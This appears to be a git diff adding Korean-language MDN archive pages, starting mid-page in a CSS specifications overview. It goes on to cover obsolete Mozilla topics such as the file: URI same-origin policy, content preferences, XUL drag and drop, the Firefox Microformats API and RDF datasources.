  • the CSS {{ cssxref("text-align") }} property with a {{cssxref("<string>")}} value to align on that character. This is useful to align number on the decimal point.
  • +
  • the CSS {{ cssxref("word-spacing") }} and {{ cssxref("letter-spacing") }} properties with range constraints to control flexibility in justification.
  • +
+ +

Adds:

+ +
    +
  • Control on how whitespaces are displayed using the CSS {{ cssxref("text-space-collapse") }} and {{ cssxref("tab-size") }} properties.
  • +
  • Control on line breaks and word boundaries using the CSS {{ cssxref("line-break") }}, {{ cssxref("word-break") }}, {{ cssxref("hyphens") }}, {{ cssxref("text-wrap") }}, {{ cssxref("overflow-wrap") }}, and {{ cssxref("text-align-last") }} properties.
  • +
  • Control on how justification is happening, in order to support more type of scripts, using the CSS {{ cssxref("text-justify") }} property.
  • +
  • Control on edge effect using the CSS {{ cssxref("text-indent") }} and {{ cssxref("hanging-punctuation") }} properties.
  • +
+
+ +

A few features present in early CSS Text Level 3 draft have being postponed to the next iteration of this module .

+ + + + + + + + + + + +
{{ SpecName("CSS3 Variables", "", "") }}{{ Spec2("CSS3 Variables") }}
Defines a mechanism allowing to define variables in CSS.
+ +

Modules in the revising phase

+ +

Modules that are in the revising phase are much less stable than those in the refining phase. Often the syntax is still under scrutiny and may evolve a lot, in a non-compatible way. Alternative syntax are tested and often implemented.

+ + + + + + + + + + + +
{{ SpecName("CSS3 Writing Modes", "", "") }}{{ Spec2("CSS3 Writing Modes") }}
Defines the writing modes of both horizontal and vertical scripts and precises how the CSS {{ cssxref("direction") }} and {{ cssxref("unicode-bidi") }} properties interact with the new CSS {{ cssxref("text-orientation") }} property, and extends them where needed.
+ +

Modules in the exploring phase

+ + + + + + + + + + + +
{{ SpecName("CSS4 Images", "", "") }}{{ Spec2("CSS4 Images") }}
+

Extends:

+ +
    +
  • the image() functional notation to describe the directionality of the image (rtl or ltr), allowing for bidi-sensitive images.
  • +
  • the {{ cssxref("image-orientation") }} property by adding the keyword from-image, allowing to follow EXIF data stored into images to be considered.
  • +
+ +

Adds:

+ +
    +
  • the image-set() functional notation to allow the definition to equivalent images at different resolution allowing for resolution-negotiated selection of images.
  • +
  • the element() functional notation allowing the use of part of the page as image.
  • +
  • the cross-fade() functional notation allowing to refer to intermediate images when transitioning between two images and defines the interpolation between two images.
  • +
  • the conic-gradient() and repeating-conic-gradient() functional notation describing a new type of gradient.
  • +
  • the {{cssxref("image-rendering")}} property that allow to define how resize of the object should be handled.
  • +
+
+ + + + + + + + + + + +
{{ SpecName("CSS3 Device", "", "") }}{{ Spec2("CSS3 Device") }}
Adds a new at-rule, {{ cssxref("@viewport") }}, allowing to specify the size, zoom factor, and orientation of the viewport that is used as the base for the initial containing block.
+ + + + + + + + + + + +
{{ SpecName("CSS3 Grid", "", "") }}{{ Spec2("CSS3 Grid") }}
Add a grid layout to the CSS display property and several new CSS properties to control it: {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-flow")}}, {{cssxref("grid-auto-position")}}, {{cssxref("grid-auto-rows")}}, {{cssxref("grid-column")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row")}}, {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-template")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-template-rows")}}, and {{cssxref("grid-template-columns")}}.
+ + + + + + + + + + + +
{{ SpecName("CSS3 GCPM", "", "") }}{{ Spec2("CSS3 GCPM") }}
Adds the ability to tailor printed version of a document by allowing to control header, footer but also references tables like indexes or tables of content.
+ + + + + + + + + + + +
{{ SpecName("CSS3 Exclusions and Shapes", "", "") }}{{ Spec2("CSS3 Exclusions and Shapes") }}
Extends the floats mechanism to define exclusion regions in any positioning scheme. Adds the notion of shapes, in which content must flows.
+ + + + + + + + + + + +
{{ SpecName("CSS3 Lists", "", "") }}{{ Spec2("CSS3 Lists") }}
Extends the list counter mechanism so that list markers can be styled and Web developers can define new list counter schemes.
+ + + + + + + + + + + +
{{ SpecName("CSS3 Regions", "", "") }}{{ Spec2("CSS3 Regions") }}
Defines a new mechanism allowing content to flow across, eventually non-contiguous, multiple areas called regions.
+ +

 

diff --git a/files/ko/archive/index.html b/files/ko/archive/index.html new file mode 100644 index 0000000000..b2d6f1116d --- /dev/null +++ b/files/ko/archive/index.html @@ -0,0 +1,21 @@ +--- +title: 쓸모 없는 구식 문서들 +slug: Archive +tags: + - NeedsTranslation + - TopicStub +translation_of: Archive +--- +

Here at MDN, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers. Perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers. Or for "reasons," your company is required to use very old software and you need to build Web content that runs on that software. Or perhaps you're just curious about the history of an obsolete feature or API, and how it worked.

+ +

There are many reasons older documentation can be useful. So, we've established this area into which we can archive older documentation. Material in this Archived content zone should not be used for building new Web sites or apps for modern browsers. It's here for historical reference only.

+ +
+

Note to writers: We need to try to keep the subpages here organized instead of all dumped into one large folder. Try to create subtrees for categories of material. Also, only move pages here that are extremely obsolete. If anyone might realistically need the information in a living product, it may not be appropriate to move it here. In general, it may be best to discuss it in the MDN Web Docs chat room before moving content here.

+
+ +

{{SubpagesWithSummaries}}

+ + + +

{{ListSubpages("/en-US/docs/Archive", 2, 0, 1)}}

diff --git a/files/ko/archive/mdn/index.html b/files/ko/archive/mdn/index.html new file mode 100644 index 0000000000..9e550840e3 --- /dev/null +++ b/files/ko/archive/mdn/index.html @@ -0,0 +1,20 @@ +--- +title: MDN Archive +slug: Archive/MDN +tags: + - Archive + - MDN + - NeedsTranslation + - TopicStub +translation_of: Archive/MDN +--- +

{{MDNSidebar}}

+ +
+

Obsolete
+ This documentation is obsolete.

+
+ +

The documentation listed below is archived, obsolete material about MDN itself.

+ +

{{LandingPageListSubpages}}

diff --git a/files/ko/archive/meta_docs/index.html b/files/ko/archive/meta_docs/index.html new file mode 100644 index 0000000000..dcca5c09ac --- /dev/null +++ b/files/ko/archive/meta_docs/index.html @@ -0,0 +1,15 @@ +--- +title: MDN "meta-documentation" archive +slug: Archive/Meta_docs +tags: + - Archive + - MDN + - NeedsTranslation + - TopicStub +translation_of: Archive/Meta_docs +--- +

Here you'll find archived "meta-documentation"; that is, documentation about how to write documentation on MDN. The articles here are obsolete and should no longer be referenced; we are retaining them here for reference while we migrate some content to new places, but very little of this is useful.

+

+
Article page layout guide
An article is any page that explains or teaches something. These are non-reference pages which are also not landing pages. In general, if a page is primarily prose and/or sample code, it's an article.
Blog posts to integrate into documentation
Often, Mozilla developers and community members write blog posts. And often, those blog posts are really, really awesome. And, often, those blog posts include information that really ought to be included on MDN. Sometimes, it's the entire blog post that could be adapted into a tutorial on MDN (but please check with the author first, unless they're known to have given blanket permission!), and other times, there are just details about changes to Firefox or web technologies that we need to be sure are reflected in the right places in the docs.
Current events
Custom CSS classes for MDN
The following are the custom CSS classes that we have defined for the Devmo wiki. If, for whatever reason, you need a custom class defined in the CSS for this wiki, feel free to contact the documentation team lead.
Design Document
DevEdge
This is a temporary Index of the content that has been migrated from DevEdge to this wiki. The original list and mirror are linked below.
Developer documentation process
In order to improve the quality of our documentation, and our ability to coordinate among the various members of the Mozilla documentation community, we have a process by which documentation is maintained. This article describes how this works and offers useful links to help you ensure that the work you do is as helpful and useful as possible to the community of Web and Mozilla developers.
Disambiguation
Disambiguation in the MDC wiki is the process of resolving ambiguity, referring to the conflicts that occur when articles about two or more different topics have the same "natural" title.
Documentation planning and tracking
We are in the process of trying to use scrumbugs to track documentation from the point at which the bug is filed through prioritization, assignment to a writer, and eventual completion. This page will cover some details of how we use it.
Documentation Wishlist
Is there a specific article or piece of documentation we're missing that you really wish we had? Add it to the list below. Unless you're sure there is no documentation on the topic you're interested in, please ask in the relevant newsgroup and/or on the MDC mailing list first. Also, please make your request easy to understand; add a link to a longer description of the request if needed.
Editing MDN pages
This page describes some common tasks when editing MDN pages.
Examples
Existing Content/DOM in Mozilla
< MDC:Existing Content
External Redirects
The MDC wikis have the ability to redirect to external websites. We have done this so we can have links to external pages within the wiki that will be included in the wiki category pages.
Finding the right place to document bugs
Bugzilla is big. Really really big. MDN is big too. This page helps to put two big things together. It:
Getting started as a new MDN contributor
The Mozilla Developer Network (MDN) is a wiki, where anyone can add and edit content. You don't need to be a programmer or an expert on the latest technology. There is a wide range of tasks that need to be done, ranging from the simple, such as proofreading and correcting typos, to the more complex, like writing API documentation.
Landing page layout guide
A landing page serves as a menu, of sorts, for all of its subpages. It opens with a brief summary of the topic, then presents a structured list of links to subpages, and, optionally, additional material that may be of use.
+
MDN content on WebPlatform.org
Web Platform Docs (WPD) is a site for documentation and education about Web standards, run by W3C and supported by Mozilla, among others. Anyone is welcome to contribute content from MDN to WebPlatform.org, under the terms of MDN's Creative Commons Share-Alike 2.5 (CC-BY-SA) license. Content that originates from MDN must be attributed to MDN, with a link to the source article. The Web Platform Docs site provides support for doing this in a systematic way.
MDN page layout guide
These guides supplement the MDN style guide with specific layouts for the various types of pages on MDN. This helps contributors create new content that's structurally consistent with the rest of MDN.
MDN subproject list
In order to turn the work of building documentation of All Things Open Web (not to mention All Things Mozilla) into something less daunting, sometimes it's helpful to split it up into subprojects. This page offers a list of links to MDN subproject organizational content.
Needs Redirect
If you have
Page types
Before working on the MDN style guide (and the redesign that goes hand-in-hand with it), we need to figure out what types of pages we have, then what those pages look like. This is a list of the types of pages and key attributes of those pages.
RecRoom documentation plan
RecRoom is the codename of a new MDN area that will provide resources for beginning Web app developers, as well as overall best practices guides for app development.
Remove in-content iframes
Each of the documents listed below has at least one in-place use of the <iframe> element within it. In order to improve performance and allow us to more easily revise and correct layout in the future, we need to quickly update all of these pages to use macros instead.  This is somewhat urgent, as there is work that needs to be done by our development team that cannot begin until all of these are fixed. That's where you come in!
Team status board
This table is a list of MDN contributors and what they're currently working on. Feel free to add yourself and what you're up to to this list, but keep in mind that we will purge out-of-date entries regularly, so if you choose to add yourself, do your best to keep your information current (even if all you do is update the "last updated" so we know you're keeping it current, despite your work taking a long time to finish).
Trello
The MDN community uses a Trello board to organize and keep track of the things that need to be done to improve, update, and add to our content. This guide will help you learn what Trello is and how we use it.
Using the Mozilla Developer Center
Welcome to the Mozilla Developer Center! Here you'll find documentation for not only working on the code and other components of the Mozilla project, but also for developing add-ons for Mozilla-based software, creating new software based on Mozilla code, and web development for the open Web.
Welcome to the Mozilla Developer Network
The Mozilla Developer Network is the most comprehensive and accurate resource for Web development, as written by you, the developers.
Writing chrome code documentation plan
We need a good guide to writing chrome JavaScript code. This plan proposes a project to produce that documentation.
Writing content
There are always things that can be added or updated on MDN. Whether it's all-new documentation for a sparkling new API or a revision to an older API that's changed subtly, you'll find lots of opportunities to help.
+

diff --git a/files/ko/archive/misc_top_level/index.html b/files/ko/archive/misc_top_level/index.html new file mode 100644 index 0000000000..95bf3b61ab --- /dev/null +++ b/files/ko/archive/misc_top_level/index.html @@ -0,0 +1,8 @@ +--- +title: Misc top level +slug: Archive/Misc_top_level +translation_of: Archive/Misc_top_level +--- +

In progress. These pages were moved from the top level of MDN in a spate of furious reorganization.

+ +

diff --git a/files/ko/archive/misc_top_level/same-origin_policy_for_file_colon__uris/index.html b/files/ko/archive/misc_top_level/same-origin_policy_for_file_colon__uris/index.html new file mode 100644 index 0000000000..1dcaa96557 --- /dev/null +++ b/files/ko/archive/misc_top_level/same-origin_policy_for_file_colon__uris/index.html @@ -0,0 +1,18 @@ +--- +title: 'file: URI를 위한 동일 출처 정책' +slug: 'Archive/Misc_top_level/Same-origin_policy_for_file:_URIs' +translation_of: 'Archive/Misc_top_level/Same-origin_policy_for_file:_URIs' +--- +

Gecko 1.8 이전 버전에서, 임의의 두 file: URI들은 같은 출처로 간주됩니다. 즉, 로컬 디스크에 있는 HTML 파일은 로컬 디스크에 있는 다른 파일을 읽을 수 있습니다.

+ +

Gecko 1.9 버전부터, 파일은 다른 특정 파일만 읽을 수 있습니다. 특히, 파일은 originating filetarget file의 상위 폴더가 같은 경우에만 다른 파일을 읽을 수 있습니다. 하지만 이 방법으로 폴더를 다운로드할 수는 없습니다.

+ +

예를 들어, bar.html에 접근하는 foo.html가 있고 index.html에서 이 파일로 이동한 경우, bar.html가  index.html와 같은 폴더나 하위 폴더에 있어야만 로드가 성공합니다.

+ +

이 정책은 XMLHttpRequest, XSLT, XBL을 비롯한 모든 동일 출처를 확인하는데 영향을 줍니다.

+ +

다른 window의 DOM에 접근할 경우, 각 파일은 별도의 출처로 처리됩니다. 한 가지 예외적으로 파일을 로드할 수 있는 다른 파일에서 로드된 경우 동일 출처 정책에 따라 동일한 출처로 간주됩니다.  이 로드는 subframe, link, location 설정, window.open() 호출 등을 통해 발생할 수 있습니다.

+ +

예를 들어, /home/user/foo.html이 frameset이고 /home/user/subdir/bar.html이 frame 중 하나라면, frame과 frameset은 동일한 출처로 간주됩니다.  반대로, /home/user/subdir/foo.html이 frameset이고 /home/user/bar.html가 프레임이라면, frame과 frameset은 다른 출처로 간주됩니다.

+ +

기본 값이 true인 새로운 security.fileuri.strict_origin_policy 환경설정은 file: URI에 대해서 출처 정책을 엄격하게 적용하고 싶지 않으면 false로 설정할 수 있습니다.

diff --git a/files/ko/archive/misc_top_level/using_content_preferences/index.html b/files/ko/archive/misc_top_level/using_content_preferences/index.html new file mode 100644 index 0000000000..247939c43a --- /dev/null +++ b/files/ko/archive/misc_top_level/using_content_preferences/index.html @@ -0,0 +1,35 @@ +--- +title: Using content preferences +slug: Archive/Misc_top_level/Using_content_preferences +tags: + - Firefox 3 +translation_of: Archive/Misc_top_level/Using_content_preferences +--- +

Firefox 3는 내용 선택 사항(content preferences)이라는 개념을 도입하고 있습니다. 이는 크롬 안에서 실행하는 코드(달리 이야기하면, 웹 사이트가 아닌 확장과 브라우저 자체)가 사이트 별 선택 사항을 지역적으로 저장할 수 있도록 합니다. 이를 이용하면 사용자가 웹 사이트의 외양을 커스터마이즈할 수 있는(예를 들어, 불편할 만큼 작은 글꼴을 사용하는 웹 사이트에) 확장을 작성하는 것이 가능합니다.

+

내용 선택 사항 서비스는 nsIContentPrefService에 의해 구현되며 특정 사이트에 대한 선택 사항을 지정하고 구하는 기능과 이를 전역 선택 사항 공간에 저장하는 기능을 제공합니다. 전역 선택 사항은 사이트에 특정한 선택 사항을 이용할 수 없을 때 이용합니다.

+

예제: 선택 사항을 지정하고 구하기

+

이 예제는 선택 사항을 저장하고 그 값을 구하는 방법을 보여줍니다.

+
var ioSvc = Components.classes["@mozilla.org/network/io-service;1"]
+            .getService(Components.interfaces.nsIIOService);
+var prefService = Components.classes["@mozilla.org/content-pref/service;1"]
+                  .getService(Components.interfaces.nsIContentPrefService);
+
+// Create a URI object referencing the site to save a preference for
+var uri = ioSvc.newURI("http://developer.mozilla.org/", null, null);
+
+// Set the value of the "devmo.somesetting" preference to "foo".
+
+prefService.setPref(uri, "devmo.somesetting", "foo");
+
+...
+
+// Retrieve the value of the "devmo.somesetting" preference.
+
+var value = prefService.getPref(uri, "devmo.somesetting");
+
+

See also

+

nsIContentPrefService, nsIContentPrefObserver

+

 

+
+  
+

diff --git a/files/ko/archive/mozilla/creating_a_skin_for_seamonkey_2.x/index.html b/files/ko/archive/mozilla/creating_a_skin_for_seamonkey_2.x/index.html new file mode 100644 index 0000000000..f2755cc4d3 --- /dev/null +++ b/files/ko/archive/mozilla/creating_a_skin_for_seamonkey_2.x/index.html @@ -0,0 +1,19 @@ +--- +title: Creating a Skin for SeaMonkey 2.x +slug: Archive/Mozilla/Creating_a_Skin_for_SeaMonkey_2.x +tags: + - NeedsTranslation + - SeaMonkey + - TopicStub +translation_of: Archive/Mozilla/Creating_a_Skin_for_SeaMonkey_2.x +--- +

Introduction

+ + +

You're going to make a theme for SeaMonkey 2, but don't know how? I hope this manual will help you.

+ + +

Contents

+ diff --git a/files/ko/archive/mozilla/drag_and_drop/index.html b/files/ko/archive/mozilla/drag_and_drop/index.html new file mode 100644 index 0000000000..adc89768c1 --- /dev/null +++ b/files/ko/archive/mozilla/drag_and_drop/index.html @@ -0,0 +1,148 @@ +--- +title: Drag and Drop +slug: Archive/Mozilla/Drag_and_drop +tags: + - NeedsTranslation + - TopicStub + - XUL +translation_of: Archive/Mozilla/Drag_and_drop +--- +

+

다음 »

+

+

+

Deprecated Gecko 1.9.1 (Firefox 3.5 / Thunderbird 3.0 / SeaMonkey 2.0)
This feature has been removed from the Web standards. Though some browsers may still support it, it is in the process of being dropped. Avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

+

+
+ As of Gecko 1.9.1 (Firefox 3.5), these APIs are officially deprecated the newer, simpler, portable API should be used in their place.
+

This section describes how to implement objects that can be dragged around and dropped onto other objects.

+

The Drag and Drop Interface

+

Many user interfaces allow one to drag particular objects around within the interface. For example, dragging files to other directories, or dragging an icon to another window to open the document it refers to. Mozilla and XUL provide a number of events that can handle when the user attempts to drag objects around.

+

A user can start dragging by holding down the mouse button and moving the mouse. The drag stops when the user releases the mouse. Event handlers are called when the user starts and ends dragging, and at various points in-between.

+

Mozilla implements dragging by using a drag session. When a user requests to drag something that can be dragged, a drag session should be started. The drag session handles updating the mouse cursor and where the object should be dropped. If something cannot be dragged, it should not start a drag session. Because the user generally has only one mouse, only one drag session is in use at a time.

+

Note that drag sessions can be created from within Mozilla itself or from other applications. Mozilla will translate the data being dragged as needed.

+

The list below describes the event handlers that can be called, which may be placed on any element. You only need to put values for the handlers where you need to do something when the event occurs.

+
+
+ ondrag
+
+ Called periodically throughout the drag and drop operation.
+
+ ondraggesture 
+
+ Called when the user starts dragging the element, which normally happens when the user holds down the mouse button and moves the mouse. The script in this handler should set up a drag session.
+
+ ondragstart  
+
+ An alias for ondraggesture; this is the HTML 5 spec name for the event and may be used in HTML or XUL; however, for backward compatibility with older versions of Firefox, you may wish to continue using ondraggesture in XUL.
+
+ ondragover 
+
+ This event handler is called for an element when something is being dragged over top of it. If the object can be dropped on the element, the drag session should be notified.
+
+ ondragenter 
+
+ Called for an element when the mouse pointer first moves over the element while something is being dragged. This might be used to change the appearance of the element to indicate to the user that the object can be dropped on it.
+
+ ondragexit 
+
+ Called for an element when the mouse pointer moves out of an element while something is being dragged. The is also called after a drop is complete so that an element has a chance to remove any highlighting or other indication.
+
+ ondragdrop 
+
+ This event handler is called for an element when something is dropped on the element. At this point, the user has already released the mouse button. The element can simply ignore the event or can handle it some way, such as pasting the dragged object into itself.
+
+ ondragend  
+
+ Called when the drag operation is finished.
+
+

There are two ways that drag and drop events can be handled. This first involves using the drag and drop XPCOM interfaces directly. The second is to use a JavaScript wrapper object that handles some of this for you. The code for this wrapper can be found in a file named toolkit/content/nsDragAndDrop.js nsDragAndDrop.js which is contained in the widget-toolkit (or global) package.

+

XPCOM Drag and Drop interfaces

+

Two interfaces are used to support drag and drop. The first is a drag service, nsIDragService and the second is the drag session, nsIDragSession.

+

The nsIDragService is responsible for creating drag sessions when a drag starts, and removing the drag session when the drag is complete. The function invokeDragSession should be called to start a drag inside an ondraggesture event handler. Once this function is called, a drag has started.

+

The function invokeDragSession takes four parameters, as described below:

+
invokeDragSession(element,transferableArray,region,actions)
+
+
+
+ element 
+
+ A reference to the element that is being dragged. This can be retrieved by getting the property event.target during the event handler.
+
+ transferableArray 
+
+ An array of nsITransferable objects, one for each item being dragged. An array is used because you might want to drag several objects at once, such as a set of files.
+
+ region 
+
+ A region used for feedback indication. This should usually be set to null.
+
+ actions 
+
+ The actions that the drag uses. This should be set to one of the following constants, or several added together. The action can be changed during the drag depending on what is being dragged over.
+
+
+
+ nsIDragService.DRAGDROP_ACTION_NONE 
+
+
+
+ Used to indicate that no drag is valid.
+
+ nsIDragService.DRAGDROP_ACTION_COPY 
+
+ The item being dragged should be copied to its dropped location.
+
+ nsIDragService.DRAGDROP_ACTION_MOVE 
+
+ The item being dragged should be moved to its dropped location.
+
+ nsIDragService.DRAGDROP_ACTION_LINK 
+
+ A link (or shortcut or alias) to the item being dragged should be created in the dropped location.
+
+
+
+

The interface nsIDragService also provides the function getCurrentSession which can be called from within the drag event handlers to get and modify the state of the drag. The function returns an object that implements nsIDragSession.

+

The interface nsIDragSession is used to get and set properties of the drag that is currently occuring. The following properties and methods are available:

+
+
+ canDrop 
+
+ Set this property to true if the element the mouse is currently over can accept the object currently being dragged to be dropped on it. Set the value to false if it doesn't make sense to drop the object on it. This should be changed in the ondragover and ondragenter event handlers.
+
+ dragAction 
+
+ Set to the current action to be performed, which should be one or more of the constants described earlier. This can be used to provide extra feedback to the user.
+
+ numDropItems 
+
+ The number of items being dragged. For example, this will be set to 5 if five bookmarks are being dragged.
+
+ getData(transfer,index) 
+
+ Get the data being dragged. The first argument should be an nsITransferable object to hold the data. The second argument, index, should be the index of the item to return.
+
+ sourceDocument 
+
+ The document where the drag started.
+
+ sourceNode 
+
+ The DOM node where the drag started.
+
+ isDataFlavorSupported(flavor) 
+
+ Returns true if the data being dragged contains data of the specified flavor.
+
+

+

다음 »

+

+
+

Original Document Information

+ +
diff --git a/files/ko/archive/mozilla/firefox/index.html b/files/ko/archive/mozilla/firefox/index.html new file mode 100644 index 0000000000..9e61c718ff --- /dev/null +++ b/files/ko/archive/mozilla/firefox/index.html @@ -0,0 +1,8 @@ +--- +title: Firefox +slug: Archive/Mozilla/Firefox +translation_of: Archive/Mozilla/Firefox +--- +

In progress. Out-of-date information about the Firefox project.

+ +

diff --git a/files/ko/archive/mozilla/firefox/using_microformats/index.html b/files/ko/archive/mozilla/firefox/using_microformats/index.html new file mode 100644 index 0000000000..b7fcdf224f --- /dev/null +++ b/files/ko/archive/mozilla/firefox/using_microformats/index.html @@ -0,0 +1,144 @@ +--- +title: Using microformats +slug: Archive/Mozilla/Firefox/Using_microformats +tags: + - Firefox 3 + - Microformats +translation_of: Archive/Mozilla/Firefox/Using_microformats +--- +

{{ Fx_minversion_header(3) }} +

마이크로포맷(Microformats)을 이용하면 문서 자체를 분석하는 방법을 알아야 할 필요없이 페이지의 정보에 대한 요약을 표시할 수 있도록 웹 사이트가 의미 데이터(semantic data)를 브라우저에 제공할 수 있습니다. Firefox 3는 마이크로포맷에 대한 접근을 제공하는 전역 Microformats 개체를 구현합니다. 이 개체와 API를 이용하면 마이크로포맷을 쉽게 찾고 읽을 수 있습니다. +

+

마이크로포맷 API 로드하기

+

Microformats 개체는 Firefox 3에 추가된 새로운 자바스크립트 로더를 이용하여 생성합니다. API를 사용하려면 먼저 개체를 로드해야 합니다: +

+
Components.utils.import("resource://gre/modules/Microformats.js");
+
+

마이크로포맷 API를 로드하고 나면 아래에 나열한 메소드를 이용하여 마이크로포맷을 다룰 수 있습니다. 마이크로포맷을 파싱하는 방법에 대한 정보는 Parsing microformats in JavaScript를 참고하십시오. +

+

미리 정의된 마이크로포맷

+

Firefox 3는 몇 가지 일반적인 마이크로포맷을 구현한 정의를 제공합니다. +

+
adr +
주소를 표시합니다. +
geo +
위도와 경도를 이용한 지리적 위치를 표시합니다. +
hCard +
사람에 대한 연락 정보를 표시합니다. +
hCalendar +
달력의 일정 항목을 표시합니다. +
tag +
다른 마이크로포맷에 태그를 추가하는데 사용합니다. +
+

메소드

+

add()

+

마이크로포맷 모듈에 새로운 마이크로포맷을 추가합니다. +

{{ Note("지정한 이름을 가진 마이크로포맷이 이미 존재하면 새로운 것으로 바뀝니다.") }} +

+
add(name, definition);
+
+
매개변수
+
<tt>name</tt> +
마이크로포맷 모듈에 추가하려는 마이크로포맷의 이름. +
<tt>definition</tt> +
마이크로포맷을 기술하는 자바스크립트 구조. 자세한 사항은 Describing microformats in JavaScript를 참고. +
+

count()

+

지정한 조건을 만족하는 문서에 있는 마이크로포맷의 개수를 구합니다. +

+
numMicroformats = Microformats.count(name, rootElement, recurseFrames);
+
+
매개변수
+
<tt>name</tt> +
검색하려는 마이크로포맷의 이름 +
<tt>rootElement</tt> +
검색을 시작할 DOM 요소. 전체 문서에서 검색하려면 content.document를 명시해야 합니다. +
<tt>options</tt> +
선택사항. 아래 플래그를 포함하는 자바스크립트 개체: +
+
+
<tt>recurseExternalFrames</tt> +
true이면 자식 프레임을 검색에 포함. 기본 값은 true. +
<tt>showHidden</tt> +
true이면 숨겨진 마이크로포맷을 추가하고 그렇지 않으면 생략. 기본 값은 false. +
<tt>debug</tt> +
디버그 모드를 사용하려면 true로 지정하고 그렇지 않으면 false로 지정. 기본 값은 false.
반환 값
+

지정한 조건을 만족하는 마이크로포맷 개수를 가리키는 정수 값. +

+

debug()

+

마이크로포맷 개체를 설명하는 문자열을 반환합니다. +

{{ Note("마이크로포맷 개체에 대해 debug()를 호출할 수 있습니다: 이 메소드 대신 microformatObject.debug()를 이용할 수도 있습니다.") }} +

+
dumpString = debug(microformatObject)
+
+
매개변수
+
<tt>microformatObject</tt> +
정보를 표시할 마이크로포맷 개체. +
+
반환 값
+

지정한 마이크로포맷 개체의 내용을 설명하는 문자열. +

+

get()

+

지정한 조건에 따라 검색한 마이크로포맷에 해당하는 마이크로포맷 개체의 배열을 반환합니다. +

+
microformatsArray = Microformats.get(name, rootElement, options, targetArray);
+
+
매개변수
+
<tt>name</tt> +
검색하려는 마이크로포맷의 이름 +
<tt>rootElement</tt> +
검색을 시작할 DOM 요소. 전체 문서에서 검색하려면 content.document를 명시해야 합니다. +
<tt>options</tt> +
선택사항. 아래 플래그를 포함하는 자바스크립트 개체: +
+
+
<tt>recurseExternalFrames</tt> +
true이면 자식 프레임을 검색에 포함. 기본 값은 true. +
<tt>showHidden</tt> +
true이면 숨겨진 마이크로포맷을 추가하고 그렇지 않으면 생략. 기본 값은 false. +
<tt>debug</tt> +
디버그 모드를 사용하려면 true로 지정하고 그렇지 않으면 false로 지정. 기본 값은 false.
<tt>targetArray</tt> +
선택사항. 검색 결과를 추가할 마이크로포맷 개체의 배열. +
반환 값
+

검색 조건을 만족하는 마이크로포맷 개체의 새로운 배열, 혹은 발견한 마이크로포맷 개체를 추가한 <tt>microformats</tt>에서 지정한 배열. +

+

getNamesFromNode()

+

지정한 마이크로포맷 노드에 해당하는 공백으로 구별되는 마이크로포맷 이름의 목록을 반환합니다. +

+
nameList = Microformats.getNamesFromNode(node);
+
+
매개변수
+
<tt>node</tt> +
마이크로포맷 이름 목록을 구할 노드 +
+
Return value
+

지정한 노드가 마이크로포맷인 경우 노드에 해당하는 모든 마이크로포맷의 이름을 공백으로 구별하여 나열하는 문자열. 해당 노드가 마이크로포맷이 아닌 경우에는 아무것도 반환하지 않음. +

+

getParent()

+

지정한 마이크로포맷이나 마이크로포맷 자식의 부모 노드를 반환합니다. +

+
parentNode = Microformats.getParent(node);
+
+
매개변수
+
<tt>node</tt> +
부모 노드를 구할 노드 +
+
반환 값
+

지정한 노드의 부모. 지정한 노드가 마이크로포맷이 아니거나 마이크로포맷의 자식이 아닌 경우에는 아무것도 반환하지 않음. +

+

isMicroformat()

+

지정한 DOM 노드가 마이크로포맷인지 구별합니다. +

+
flag = Microformats.isMicroformat(node);
+
+
매개변수
+
<tt>node</tt> +
마이크로포맷 여부를 확인할 DOM 노드. +
+
반환 값
+

노드가 마이크로포맷이면 true, 그렇지 않으면 false. +

{{ Note("만약 노드가 마이크로포맷의 자식이면 이 메소드는 true를 반환하지 않습니다.") }} +

+
+
+{{ languages( { "en": "en/Using_microformats", "fr": "fr/Utilisation_de_microformats", "ja": "ja/Using_microformats", "pl": "pl/Zastosowanie_mikroformat\u00f3w" } ) }} diff --git a/files/ko/archive/mozilla/index.html b/files/ko/archive/mozilla/index.html new file mode 100644 index 0000000000..c6ccfa68f2 --- /dev/null +++ b/files/ko/archive/mozilla/index.html @@ -0,0 +1,10 @@ +--- +title: Archived Mozilla and build documentation +slug: Archive/Mozilla +tags: + - NeedsTranslation + - TopicStub +translation_of: Archive/Mozilla +--- +

These articles are archived, obsolete documents about Mozilla, Gecko, and the process of building Mozilla projects.

+

Drag and Drop
This section describes how to implement objects that can be dragged around and dropped onto other objects.
XPInstall
Categories

diff --git a/files/ko/archive/mozilla/rdf_datasource_how-to/index.html b/files/ko/archive/mozilla/rdf_datasource_how-to/index.html new file mode 100644 index 0000000000..96509ff68a --- /dev/null +++ b/files/ko/archive/mozilla/rdf_datasource_how-to/index.html @@ -0,0 +1,224 @@ +--- +title: RDF Datasource How-To +slug: Archive/Mozilla/RDF_Datasource_How-To +tags: + - RDF +translation_of: Archive/Mozilla/RDF_Datasource_How-To +--- +
+

이 문서는 최신의 정보를 포함하지 않을 수 있습니다. 가능하면 이 문서가 최신 정보로 유지될 수 있도록 도와주시기 바랍니다. XPCOM 등록(registration) 부분과 "As of this writing, it is not currently possible to implement JavaScript XPCOM components" 부분이 최신 정보와 다른 것 같습니다. 전체 문서를 다 체크해 보지는 않았습니다.

+
+

이 문서는 Mozilla 의 RDF 구현과 함께 동작하는 + + 고유한(native), 클라이언트 측 데이터 소스 + 를 생성하는 방법을 설명하는 cookbook 문서입니다. 이 문서는 Robert Churchill 이 작성한 원본 문서를 대체하며 많은 부분은 원본 문서에서 가져온 것입니다.

+

데이터 소스란 무엇인가?

+

"RDF의 세계"는 인터넷 + + 자원 + 들을 설명하는 + + 문장 + (statement)으로 이루어진다. 예를 들어, "내 홈페이지의 최종 변경일은 4월 2일이다" 라던가 "이 뉴스 기사는 밥(Bob)이 보내온 것이다" 등이 있을 것이다. 가장 추상적인 단계에서 볼 때, + + 데이터 소스 + 는 이러한 문장들의 모임(collection)이다.

+

